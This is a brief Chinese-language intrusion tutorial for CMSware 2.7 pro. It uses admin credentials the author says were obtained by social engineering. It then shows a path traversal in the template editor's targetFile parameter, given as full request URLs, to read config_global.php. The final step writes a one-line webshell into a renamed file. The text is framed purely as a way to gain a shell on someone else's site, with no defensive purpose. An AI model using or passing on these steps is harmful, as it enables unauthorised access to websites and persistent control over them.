思维内容管理系统(CMSware 2.7 pro) 后台拿Shell

账号密码是社工的   不能上传图片 拿shell

后台登陆界面

后台不能上传图片

模板管理   --公用模板

随便点击一个 模板里面的文件 注意这个sid 特有的

下面是用来列网站目录  需要修改2个地方

列出了网站根目录

http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php

可以查看源代码

远远不止列源码   因为是linux 系统   又不让建立php的文件 就在

http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php.111

这样提示访问错误 不要管他

照样写入我们的一句话

保存